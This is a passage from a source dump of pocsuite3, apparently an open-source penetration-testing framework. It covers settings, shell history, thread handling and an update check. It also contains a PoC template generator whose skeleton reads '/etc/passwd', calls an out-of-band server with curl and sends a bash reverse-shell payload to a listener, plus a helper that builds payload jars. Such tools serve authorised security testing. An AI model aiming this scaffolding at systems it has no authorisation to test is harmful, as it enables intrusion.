cmdline\", \"from comm import generic\")\nPOCSUITE_VERSION_CHARACTER = (\"from pocsuite.poc import\", \"from pocsuite.net import\")\nPOC_IMPORTDICT = {\n    \"import urlparse\": \"from urllib import parse as urlparse\",\n    \"import urllib2\": \"from urllib import request as urllib2\",\n    \"import urllib\": \"from urllib import parse as urllib\",\n    \"from urlparse import\": \"from urllib.parse import\",\n    \"from pocsuite.net import req\": \"from pocsuite3.lib.request import requests as req\",\n    \"from pocsuite.api.request import req\": \"from pocsuite3.lib.request import requests as req\",\n    \"from pocsuite.poc import\": \"from pocsuite3.lib.core.poc import\",\n    \"from pocsuite.api.poc import\": \"from pocsuite3.lib.core.poc import\",\n    \"from pocsuite.utils import register\": \"from pocsuite3.lib.core.register import register_poc as register\",\n    \"from pocsuite.lib.utils.funs import randomStr\": \"from pocsuite3.lib.utils import random_str as randomStr\",\n    \"from pocsuite.api.utils import randomStr\": \"from pocsuite3.lib.utils import random_str as randomStr\",\n    \"from pocsuite.lib.utils.funs import url2ip\": \"from pocsuite3.lib.utils import url2ip\",\n    \"from pocsuite.api.utils import url2ip\": \"from pocsuite3.lib.utils import url2ip\",\n    \".content\": \".text\",\n}\n# Regular expression used for recognition of IP addresses\nIP_ADDRESS_REGEX = r\"\\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\b\"\nIP_ADDRESS_WITH_PORT_REGEX = r\"\\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[\\d]{2,5}\\b\"\nIPV6_ADDRESS_REGEX = r\"^\\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:)))(%.+)?\\s*$\"\nIPV6_URL_REGEX = r\"(https?:\\/\\/)?\\[((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:)))(%.+)?\\](:\\d+)?(\\/)?\"\nURL_ADDRESS_REGEX = r\"(?:(?:https?):\\/\\/|www\\.|ftp\\.)(?:\\([-a-zA-Z0-9+&@#\\/%=~_|$?!:,.]*\\)|[-a-zA-Z0-9+&@#\\/%=~_|$?!:,.])*(?:\\([-a-zA-Z0-9+&@#\\/%=~_|$?!:,.]*\\)|[a-zA-Z0-9+&@#\\/%=~_|$])\"\nURL_DOMAIN_REGEX = (\n    r\"(?:www)?(?:[\\w-]{2,255}(?:\\.\\w{2,6}){1,3})(?:/[\\w&%?#-]{1,300})?(?:\\:\\d+)?\"\n)\nLOCAL_IP_ADDRESS_REGEX = (\n    r\"(^10\\.)|(^172\\.1[6-9]\\.)|(^172\\.2[0-9]\\.)|(^172\\.3[0-1]\\.)|(^192\\.168\\.)\"\n)\n\nPOC_REQUIRES_REGEX = r\"install_requires\\s*=\\s*\\[(?P<result>.*?)\\]\"\n\nMAX_NUMBER_OF_THREADS = 200\n\nDEFAULT_LISTENER_PORT = 6666\n\n# Maximum number of lines to save in history file\nMAX_HISTORY_LENGTH = 1000\n\nIMG_EXT = (\".jpg\", \".png\", \".gif\")\n\nTIMESTAMP = time.strftime(\"%Y%m%d%H%M%S\", time.gmtime())\nOS_SYSTEM = system().upper()\nOS_ARCH = machine()\n\n# Cmd line parse whitelist\nCMD_PARSE_WHITELIST = [\n    \"help\",\n    \"version\",\n    \"update\",\n    \"new\",\n    \"url\",\n    \"url_file\",\n    \"ports\",\n    \"skip_target_port\",\n    \"file\",\n    \"poc_keyword\",\n    \"poc_list\",\n    \"verify\",\n    \"attack\",\n    \"shell\",\n    \"cookie\",\n    \"host\",\n    \"referer\",\n    \"user-agent\",\n    \"proxy\",\n    \"proxy-cred\",\n    \"timeout\",\n    \"retry\",\n    \"delay\",\n    \"headers\",\n    \"http-debug\",\n    \"ceye-token\",\n    \"oob-server\",\n    \"oob-token\",\n    \"seebug-token\",\n    \"zoomeye-token\",\n    \"shodan-token\",\n    \"fofa-user\",\n    \"fofa-token\",\n    \"quake-token\",\n    \"hunter-token\",\n    \"censys-uid\",\n    \"censys-secret\",\n    \"dork\",\n    \"dork-zoomeye\",\n    \"dork-shodan\",\n    \"dork-fofa\",\n    \"dork-quake\",\n    \"dork-hunter\",\n    \"dork-censys\",\n    \"max-page\",\n    \"page-size\",\n    \"search-type\",\n    \"vul-keyword\",\n    \"ssv-id\",\n    \"lhost\",\n    \"lport\",\n    \"tls\",\n    \"comparison\",\n    \"dork-b64\",\n    \"output_path\",\n    \"plugins\",\n    \"pocs-path\",\n    \"threads\",\n    \"batch\",\n    \"requires\",\n    \"quiet\",\n    \"ppt\",\n    \"pcap\",\n    \"rule\",\n    \"rule-req\",\n    \"rule-filename\",\n    \"no-check\",\n    \"options\",\n\n    # docker\n    \"docker-start\",\n    \"docker-port\",\n    \"docker-env\",\n    \"docker-volume\",\n    \"docker-only\",\n\n    # other\n    \"poc\",\n    \"verbose\",\n    \"mode\",\n    \"api\",\n    \"connect_back_host\",\n    \"connect_back_port\",\n\n    \"session-reuse\",\n    \"session-reuse-num\",\n\n    # web hook\n    \"dingtalk-token\",\n    \"dingtalk-secret\",\n    \"wx-work-key\"\n]\n"
  },
  {
    "path": "pocsuite3/lib/core/shell.py",
    "content": "import atexit\nimport os\n\nfrom pocsuite3.lib.core import readlineng as readline\nfrom pocsuite3.lib.core.data import logger\nfrom pocsuite3.lib.core.data import paths\nfrom pocsuite3.lib.core.enums import AUTOCOMPLETE_TYPE\nfrom pocsuite3.lib.core.enums import OS\nfrom pocsuite3.lib.core.settings import MAX_HISTORY_LENGTH\n\ntry:\n    import rlcompleter\n\n    class CompleterNG(rlcompleter.Completer):\n        def global_matches(self, text):\n            \"\"\"\n            Compute matches when text is a simple name.\n            Return a list of all names currently defined in self.namespace\n            that match.\n            \"\"\"\n\n            matches = []\n            n = len(text)\n\n            for ns in (self.namespace,):\n                for word in ns:\n                    if word[:n] == text:\n                        matches.append(word)\n\n            return matches\nexcept Exception:\n    readline._readline = None\n\n\ndef readline_available():\n    \"\"\"\n    Check if the readline is available. By default\n    it is not in Python default installation on Windows\n    \"\"\"\n\n    return readline._readline is not None\n\n\ndef clear_history():\n    if not readline_available():\n        return\n\n    readline.clear_history()\n\n\ndef save_history(completion=None):\n    if not readline_available():\n        return\n\n    if completion == AUTOCOMPLETE_TYPE.SQL:\n        history_path = paths.SQL_SHELL_HISTORY\n    elif completion == AUTOCOMPLETE_TYPE.OS:\n        history_path = paths.OS_SHELL_HISTORY\n    elif completion == AUTOCOMPLETE_TYPE.API:\n        history_path = paths.API_SHELL_HISTORY\n    elif completion == AUTOCOMPLETE_TYPE.CONSOLE:\n        history_path = paths.POCSUITE_CONSOLE_HISTORY\n    else:\n        history_path = paths.POCSUITE_SHELL_HISTORY\n\n    try:\n        with open(history_path, \"w+\"):\n            pass\n    except Exception:\n        pass\n\n    readline.set_history_length(MAX_HISTORY_LENGTH)\n    try:\n        readline.write_history_file(history_path)\n    except IOError as msg:\n        warn_msg = \"there was a problem writing the history file '{0}' ({1})\".format(history_path, msg)\n        logger.warn(warn_msg)\n\n\ndef load_history(completion=None):\n    if not readline_available():\n        return\n\n    clear_history()\n\n    if completion == AUTOCOMPLETE_TYPE.SQL:\n        history_path = paths.SQL_SHELL_HISTORY\n    elif completion == AUTOCOMPLETE_TYPE.OS:\n        history_path = paths.OS_SHELL_HISTORY\n    elif completion == AUTOCOMPLETE_TYPE.API:\n        history_path = paths.API_SHELL_HISTORY\n    elif completion == AUTOCOMPLETE_TYPE.CONSOLE:\n        history_path = paths.POCSUITE_CONSOLE_HISTORY\n    else:\n        history_path = paths.POCSUITE_SHELL_HISTORY\n\n    if os.path.exists(history_path):\n        try:\n            readline.read_history_file(history_path)\n        except IOError as msg:\n            warn_msg = \"there was a problem loading the history file '{0}' ({1})\".format(history_path, msg)\n            logger.warn(warn_msg)\n\n\ndef auto_completion(completion=None, os=None, commands=None, console=None):\n    if not readline_available():\n        return\n\n    if completion == AUTOCOMPLETE_TYPE.OS:\n        if os == OS.WINDOWS:\n            # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands\n            completer = CompleterNG({\n                \"copy\": None, \"del\": None, \"dir\": None,\n                \"echo\": None, \"md\": None, \"mem\": None,\n                \"move\": None, \"net\": None, \"netstat -na\": None,\n                \"ver\": None, \"xcopy\": None, \"whoami\": None,\n            })\n\n        else:\n            # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands\n            completer = CompleterNG({\n                \"cp\": None, \"rm\": None, \"ls\": None,\n                \"echo\": None, \"mkdir\": None, \"free\": None,\n                \"mv\": None, \"ifconfig\": None, \"netstat -natu\": None,\n                \"pwd\": None, \"uname\": None, \"id\": None, \"whoami\": None,\n            })\n\n        readline.set_completer(completer.complete)\n        readline.parse_and_bind(\"tab: complete\")\n\n    elif commands:\n        completer = CompleterNG(dict(((_, None) for _ in commands)))\n        readline.set_completer_delims(' ')\n        readline.set_completer(completer.complete)\n        readline.parse_and_bind(\"tab: complete\")\n    elif console:\n        readline.set_completer_delims(\" \")\n        readline.set_completer(console)\n        readline.parse_and_bind(\"tab: complete\")\n\n    load_history(completion)\n    atexit.register(save_history, completion)\n"
  },
  {
    "path": "pocsuite3/lib/core/statistics_comparison.py",
    "content": "from pocsuite3.lib.core.common import data_to_stdout\nfrom prettytable import PrettyTable\n\n\nclass StatisticsComparison(object):\n\n    def __init__(self):\n        self.data = {}\n        self.dork = {}\n\n    def add_dork(self, source, dork):\n        self.dork[source] = dork\n\n    def add_ip(self, ip, source, honeypot=False):\n        if ip not in self.data:\n            self.data[ip] = {\n                \"source\": [],\n                \"honeypot\": honeypot,\n                \"success\": False\n            }\n        self.data[ip][\"source\"].append(source)\n\n    def getinfo(self, ip) -> tuple:\n        if ip not in self.data:\n            return \"Other\", \"Unknown\"\n        sources = self.data[ip][\"source\"]\n        return ','.join(sources), str(self.data[ip][\"honeypot\"])\n\n    def change_success(self, ip, success=False):\n        if ip in self.data:\n            self.data[ip][\"success\"] = success\n\n    def _statistics(self) -> dict:\n        static_data = {}\n        for ip, item in self.data.items():\n            engines = item[\"source\"]\n            for engine in engines:\n                if engine not in static_data:\n                    static_data[engine] = {\n                        \"total\": 0,\n                        \"success\": 0,\n                        \"repetition\": 0\n                    }\n                static_data[engine][\"total\"] += 1\n                if item[\"success\"]:\n                    static_data[engine][\"success\"] += 1\n                if len(engines) > 1:\n                    static_data[engine][\"repetition\"] += 1\n        return static_data\n\n    def output(self):\n        results_table = PrettyTable([\"Search-engine\", \"Dork\", \"Total-data\", \"Success-rate\", \"Repetition-rate\"])\n        results_table.align[\"Search-engine\"] = \"c\"\n        results_table.padding_width = 1\n        results = []\n        for engine, item in self._statistics().items():\n            dork = \"\"\n            if engine in self.dork:\n                dork = self.dork[engine]\n            _result = [\n                engine,\n                dork,\n                item[\"total\"],\n                \"{0:.1f}%\".format(item[\"success\"] / item[\"total\"] * 100),\n                \"{0:.1f}%\".format(item[\"repetition\"] / item[\"total\"] * 100)\n            ]\n            results.append(_result)\n\n        for row in results:\n            results_table.add_row(row)\n\n        data_to_stdout('\\n{0}\\n'.format(results_table.get_string()))\n"
  },
  {
    "path": "pocsuite3/lib/core/template.py",
    "content": "import sys\nimport datetime\nfrom collections import OrderedDict\nfrom pocsuite3 import __version__\nfrom pocsuite3.lib.core.data import logger, conf\n\n\ndef new_poc():\n    print('You are about to be asked to enter information that will be used to create a poc template.\\n'\n          'There are quite a few fields but you can leave some blank.\\n'\n          'For some fields there will be a default value.\\n'\n          '-----')\n\n    today = datetime.date.today().strftime('%Y-%m-%d')\n    vulID = input('Seebug ssvid (eg, 99335) [0]: ') or '0'\n    author = input('PoC author (eg, Seebug) []: ')\n    vulDate = input(f'Vulnerability disclosure date (eg, 2021-8-18) [{today}]: ') or today\n\n    references = ''\n    if vulID.isdigit() and int(vulID) > 0:\n        references = f'https://www.seebug.org/vuldb/ssvid-{vulID}'\n    references = input(f'Advisory URL (eg, https://www.seebug.org/vuldb/ssvid-99335) [{references}]: ') or references\n    references = list(filter(None, list(map(str.strip, references.split(',')))))\n\n    cveNumber = input('Vulnerability CVE number (eg, CVE-2021-22123) []: ')\n    vendorName = input('Vendor name (eg, Fortinet) []: ')\n    appName = input('Product or component name (eg, FortiWeb) []: ')\n    appVersion = input('Affected version (eg, <=6.4.0) []: ')\n    appPowerLink = input('Vendor homepage (eg, https://www.fortinet.com) []: ')\n\n    vulTypes = [\n        'Arbitrary File Read',\n        'Code Execution',\n        'Command Execution',\n        'Denial Of service',\n        'Information Disclosure',\n        'Login Bypass',\n        'Path Traversal',\n        'SQL Injection',\n        'SSRF',\n        'XSS'\n    ]\n    message = '\\n'\n    for i, vul in enumerate(vulTypes):\n        message += \"{0}    {1}\\n\".format(i, vul)\n    print(message)\n\n    vulType = input('Vulnerability type, choose from above or provide (eg, 3) []: ') or 'Other'\n    if vulType.isdigit() and int(vulType) < len(vulTypes):\n        vulType = vulTypes[int(vulType)]\n\n    needAuth = input('Authentication Required (eg, yes) [no]: ')\n    needAuth = True if needAuth.lower().startswith('y') else False\n\n    rceVul = True if vulType in ['Code Execution', 'Command Execution'] else False\n\n    echoRce = False\n    oobServer = ''\n    if rceVul:\n        echoRce = input('Can we get result of command (eg, yes) [no]: ')\n        echoRce = True if echoRce.lower().startswith('y') else False\n        if not echoRce:\n            oobServer = input('Out-of-band server to use (eg, interactsh) [ceye]: ')\n            oobServer = 'interactsh' if oobServer.lower().startswith('i') else 'ceye'\n\n    pocName = [vendorName, appName]\n    if needAuth:\n        pocName.append('Post-Auth')\n    else:\n        pocName.append('Pre-Auth')\n    pocName.append(vulType)\n    if cveNumber:\n        pocName.append(f'({cveNumber})')\n    pocName = ' '.join(list(filter(None, pocName)))\n    pocName = input(f'PoC name [{pocName}]: ') or pocName\n\n    codes = OrderedDict([\n        (0, '#!/usr/bin/env python3'),\n        (1, '# -*- coding: utf-8 -*-'),\n        (2, ''),\n        (3, 'from pocsuite3.api import ('),\n        (4, '    minimum_version_required, POCBase, register_poc, requests, logger,'),\n        (5, '    OptString, OrderedDict,'),\n        (6, '    random_str,'),\n        (7, '    CEye,'),\n        (8, '    Interactsh,'),\n        (9, '    get_listener_ip, get_listener_port, REVERSE_PAYLOAD'),\n        (10, ')'),\n        (11, ''),\n        (12, \"minimum_version_required('%s')\" % __version__),\n        (13, ''),\n        (14, ''),\n        (15, 'class DemoPOC(POCBase):'),\n        (16, \"    vulID = '%s'\" % vulID),\n        (17, \"    version = '1'\"),\n        (18, \"    author = '%s'\" % author),\n        (19, \"    vulDate = '%s'\" % vulDate),\n        (20, \"    createDate = '%s'\" % today),\n        (21, \"    updateDate = '%s'\" % today),\n        (22, \"    references = %s\" % str(references)),\n        (23, \"    name = '%s'\" % pocName),\n        (24, \"    appPowerLink = '%s'\" % appPowerLink),\n        (25, \"    appName = '%s'\" % appName),\n        (26, \"    appVersion = '%s'\" % appVersion),\n        (27, \"    vulType = '%s'\" % vulType),\n        (28, \"    desc = 'Vulnerability description'\"),\n        (29, \"    samples = ['']\"),\n        (30, \"    install_requires = ['']\"),\n        (31, \"    pocDesc = 'User manual of poc'\"),\n        (32, \"    dork = {'zoomeye': ''}\"),\n        (33, \"    suricata_request = ''\"),\n        (34, \"    suricata_response = ''\"),\n        (35, ''),\n        (36, '    def _options(self):'),\n        (37, '        o = OrderedDict()'),\n        (38, \"        o['user'] = OptString('', description='The username to authenticate as', require=True)\"),\n        (39, \"        o['pwd'] = OptString('', description='The password for the username', require=True)\"),\n        (40, \"        o['cmd'] = OptString('uname -a', description='The command to execute')\"),\n        (41, \"        o['filepath'] = OptString('/etc/passwd', description='The full path to the file to read')\"),\n        (97, \"        o['param'] = OptString('', description='The param')\"),\n        (42, '        return o'),\n        (43, ''),\n        (44, \"    def _exploit(self, param=''):\"),\n        (45, \"        if not self._check(dork=''):\"),\n        (46, '            return False'),\n        (47, ''),\n        (48, \"        user = self.get_option('user')\"),\n        (49, \"        pwd = self.get_option('pwd')\"),\n        (50, \"        headers = {'Content-Type': 'application/x-www-form-urlencoded'}\"),\n        (51, \"        payload = 'a=b'\"),\n        (52, '        res = requests.post(self.url, headers=headers, data=payload)'),\n        (100, '        logger.debug(res.text)'),\n        (53, '        return res.text'),\n        (54, ''),\n        (55, '    def _verify(self):'),\n        (56, '        result = {}'),\n        (57, \"        param = ''\"),\n        (58, '        flag = random_str(6)'),\n        (59, \"        param = f'echo {flag}'\"),\n        (60, '        oob = Interactsh()'),\n        (61, \"        url, flag = oob.build_request()\"),\n        (62, '        oob = CEye()'),\n        (63, \"        v = oob.build_request(value='')\"),\n        (64, \"        url, flag = v['url'], v['flag']\"),\n        (65, \"        param = f'curl {url}'\"),\n        (99, \"        param = '/etc/passwd'\"),\n        (66, '        res = self._exploit(param)'),\n        (67, '        if res:'),\n        (68, '        if res and flag in res:'),\n        (69, '        if oob.verify(flag):'),\n        (70, '        if oob.verify_request(flag):'),\n        (98, \"        if res and ':/bin/' in res:\"),\n        (71, \"            result['VerifyInfo'] = {}\"),\n        (72, \"            result['VerifyInfo']['URL'] = self.url\"),\n        (73, \"            result['VerifyInfo'][param] = res\"),\n        (74, '        return self.parse_output(result)'),\n        (75, ''),\n        (76, '    def _attack(self):'),\n        (78, '        result = {}'),\n        (79, \"        param = self.get_option('cmd')\"),\n        (80, \"        param = self.get_option('filepath')\"),\n        (81, \"        param = self.get_option('param')\"),\n        (82, '        res = self._exploit(param)'),\n        (83, \"        result['VerifyInfo'] = {}\"),\n        (84, \"        result['VerifyInfo']['URL'] = self.url\"),\n        (85, \"        result['VerifyInfo'][param] = res\"),\n        (86, '        return self.parse_output(result)'),\n        (87, ''),\n        (88, '    def _shell(self):'),\n        (89, '        return self._verify()'),\n        (90, '        try:'),\n        (91, '            self._exploit(REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()))'),\n        (92, '        except Exception:'),\n        (93, '            pass'),\n        (94, ''),\n        (95, ''),\n        (96, 'register_poc(DemoPOC)')])\n\n    rows_to_remove = list()\n\n    if oobServer != 'ceye':\n        rows_to_remove += [7, 62, 63, 64, 70]\n\n    if oobServer != 'interactsh':\n        rows_to_remove += [8, 60, 61, 69]\n\n    if oobServer == '':\n        rows_to_remove += [65]\n\n    if not echoRce:\n        rows_to_remove += [58, 59, 68]\n\n    if not needAuth:\n        rows_to_remove += [38, 39, 48, 49]\n\n    if vulType not in ['Arbitrary File Read', 'Path Traversal']:\n        rows_to_remove += [41, 80, 98, 99]\n\n    # if vul is rce, the shell mode is required\n    if rceVul:\n        rows_to_remove += [89]\n    else:\n        rows_to_remove += [9, 40, 79, 90, 91, 92, 93]\n\n    if vulType in ['Arbitrary File Read', 'Code Execution', 'Command Execution', 'Path Traversal']:\n        rows_to_remove += [57, 67, 81, 97]\n\n    for i in set(rows_to_remove):\n        codes.pop(i)\n\n    poc_codes = ''\n    for _, c in codes.items():\n        poc_codes += f'{c}\\n'\n\n    chars = '()'\n    filepath = f'./{vulDate.replace(\"-\", \"\")}_{pocName}.py'.replace(' ', '_').lower()\n    for c in chars:\n        filepath = filepath.replace(c, '')\n    filepath = input(f'Filepath in which to save the poc [{filepath}]') or filepath\n    with open(filepath, 'w+') as fw:\n        fw.write(poc_codes)\n\n    logger.info(f'Your poc has been saved in {filepath} :)')\n\n\ndef create_poc_plugin_template():\n    if not conf.new:\n        return\n    try:\n        new_poc()\n    except KeyboardInterrupt:\n        logger.error('KeyboardInterrupt')\n\n    sys.exit()\n"
  },
  {
    "path": "pocsuite3/lib/core/threads.py",
    "content": "import time\nimport threading\nimport traceback\n\nfrom pocsuite3.lib.core.data import conf\nfrom pocsuite3.lib.core.data import kb\nfrom pocsuite3.lib.core.data import logger\nfrom pocsuite3.lib.core.exception import PocsuiteConnectionException\nfrom pocsuite3.lib.core.exception import PocsuiteUserQuitException\nfrom pocsuite3.lib.core.exception import PocsuiteValueException\nfrom pocsuite3.lib.core.settings import MAX_NUMBER_OF_THREADS\n\n\ndef exception_handled_function(thread_function, args=(), silent=False):\n    try:\n        thread_function(*args)\n    except KeyboardInterrupt:\n        kb.thread_continue = False\n        kb.thread_exception = True\n        raise\n    except Exception as ex:\n        if not silent:\n            logger.error(\"thread {0}: {1}\".format(threading.currentThread().getName(), str(ex)))\n            if conf.verbose > 1:\n                traceback.print_exc()\n\n\ndef run_threads(num_threads, thread_function, args: tuple = (), forward_exception=True, start_msg=True):\n    threads = []\n\n    kb.multi_thread_mode = True\n    kb.thread_continue = True\n    kb.thread_exception = False\n\n    try:\n        if num_threads > 1:\n            if start_msg:\n                info_msg = \"starting {0} threads\".format(num_threads)\n                logger.info(info_msg)\n\n            if num_threads > MAX_NUMBER_OF_THREADS:\n                warn_msg = f\"starting {num_threads} threads, more than MAX_NUMBER_OF_THREADS: {MAX_NUMBER_OF_THREADS}\"\n                logger.warn(warn_msg)\n\n        else:\n            thread_function(*args)\n            return\n\n        # Start the threads\n        for num_threads in range(num_threads):\n            thread = threading.Thread(target=exception_handled_function, name=str(num_threads),\n                                      args=(thread_function, args))\n            thread.setDaemon(True)\n            try:\n                thread.start()\n            except Exception as ex:\n                err_msg = \"error occurred while starting new thread ('{0}')\".format(str(ex))\n                logger.critical(err_msg)\n                break\n\n            threads.append(thread)\n\n        # And wait for them to all finish\n        alive = True\n        while alive:\n            alive = False\n            for thread in threads:\n                if thread.is_alive():\n                    alive = True\n                    time.sleep(0.1)\n\n    except (KeyboardInterrupt, PocsuiteUserQuitException):\n        kb.thread_continue = False\n        kb.thread_exception = True\n        logger.info(\"user aborted (Ctrl+C was pressed multiple times\")\n        if forward_exception:\n            return\n\n    except (PocsuiteConnectionException, PocsuiteValueException) as ex:\n        kb.thread_exception = True\n        logger.error(\"thread {0}: {1}\".format(threading.currentThread().getName(), str(ex)))\n        if conf.verbose > 1:\n            traceback.print_exc()\n\n    except Exception as ex:\n        kb.thread_exception = True\n        logger.error(\"thread {0}: {1}\".format(threading.currentThread().getName(), str(ex)))\n        traceback.print_exc()\n\n    finally:\n        kb.multi_thread_mode = False\n        kb.thread_continue = True\n        kb.thread_exception = False\n"
  },
  {
    "path": "pocsuite3/lib/core/update.py",
    "content": "from pocsuite3.lib.core.data import logger, conf\nfrom xmlrpc.client import ServerProxy\nfrom packaging.version import parse as parse_version\nfrom pocsuite3 import __version__\n\n\ndef update():\n    if not conf.update_all:\n        return\n    logger.info('Checking the latest version number of pocsuite3 on pypi')\n    client = ServerProxy('https://pypi.python.org/pypi')\n    versions = client.package_releases('pocsuite3', True)\n    upstream_version = max(map(parse_version, versions))\n    current_version = parse_version(__version__)\n    logger.info(f'Current upstream version: {upstream_version}')\n    if current_version < upstream_version:\n        logger.info(''\n                    '----[ 1.1 - Installtion & Upgrade Methods\\n'\n                    '\\n'\n                    'Python pip\\n'\n                    '\\n'\n                    '    $ pip3 install -U pocsuite3\\n'\n                    '\\n'\n                    '    $ use other pypi mirror\\n'\n                    '    $ pip3 install -U -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3\\n'\n                    '\\n'\n                    'MacOS\\n'\n                    '\\n'\n                    '    $ brew install pocsuite3\\n'\n                    '\\n'\n                    'Kali, Ubuntu 22.04, Debian\\n'\n                    '\\n'\n                    '    $ sudo apt-get install pocsuite3\\n'\n                    '\\n'\n                    'Docker\\n'\n                    '\\n'\n                    '    $ docker run -it pocsuite3/pocsuite3\\n'\n                    '\\n'\n                    'ArchLinux\\n'\n                    '\\n'\n                    '    $ yay pocsuite3\\n'\n                    '\\n'\n                    'Install from source code\\n'\n                    '\\n'\n                    '    $ wget https://github.com/knownsec/pocsuite3/archive/master.zip\\n'\n                    '    $ unzip master.zip\\n'\n                    '    $ cd pocsuite3-master\\n'\n                    '    $ pip3 install -r requirements.txt\\n'\n                    '    $ python3 setup.py install\\n'\n                    )\n"
  },
  {
    "path": "pocsuite3/lib/helper/__init__.py",
    "content": ""
  },
  {
    "path": "pocsuite3/lib/helper/archieve/__init__.py",
    "content": ""
  },
  {
    "path": "pocsuite3/lib/helper/archieve/jar.py",
    "content": "import os\nfrom .zip import Zip\n\n\nclass Jar(Zip):\n    def __init__(self, filename=''):\n        Zip.__init__(self, filename)\n        self.manifest = self.get_manifest()\n        self.is_manifest_created = False\n\n    def get_manifest(self, main_class='Test.Payload'):\n        manifest = 'Manifest-Version: 1.0\\n'\n        manifest += 'Main-Class: %s\\n' % main_class\n        manifest += 'Permissions: all-permissions\\n\\n'\n        return manifest\n\n    def add_file(self, name, content='', write_to_manifest=True):\n        Zip.add_file(self, name, content)\n        if write_to_manifest:\n            self.__add_file_to_manifest(name)\n\n    def __add_file_to_manifest(self, filename):\n        self.manifest += \"Name: {filename}\\n\\n\".format(filename=filename)\n\n    def create_manifest(self):\n        self.add_file(\"META-INF/MANIFEST.MF\", self.manifest, write_to_manifest=False)\n        self.is_manifest_created = True\n\n    def get_raw(self, remove_temp=False):\n        if not self.is_manifest_created:\n            self.create_manifest()\n        if not self.name:\n            print('You should create jar file before get raw content')\n        with open(self.name, 'rb') as f:\n            content = f.read()\n        if remove_temp:\n            os.remove(self.name)\n        return content\n\n    def get_jar(self):\n        if not self.is_manifest_created:\n            self.create_manifest()\n        return self.name\n"
  },
  {
    "path": "pocsuite3/lib/helper/archieve/memoryzip.py",
